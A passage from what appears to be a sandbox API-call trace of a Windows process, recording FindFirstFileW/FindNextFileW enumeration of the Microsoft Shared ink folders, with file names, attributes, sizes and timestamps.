ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.410] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0048.411] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0048.411] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.411] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0048.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.854] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.854] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0048.854] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.855] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.855] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0048.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.855] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.855] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0048.855] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.855] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.855] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0048.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.955] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0048.955] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.955] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.955] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0048.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.955] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.966] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0048.967] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.967] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.967] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0048.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.967] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.967] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0048.967] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.967] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.967] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0048.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0048.967] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.969] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0048.974] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0048.982] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0048.982] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0048.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.619] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.619] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0049.619] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0049.619] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0049.619] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0049.619] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.619] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.620] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0049.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.620] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.620] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.620] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.621] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.621] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0049.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.621] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.621] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.621] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.621] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.621] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0049.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.621] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 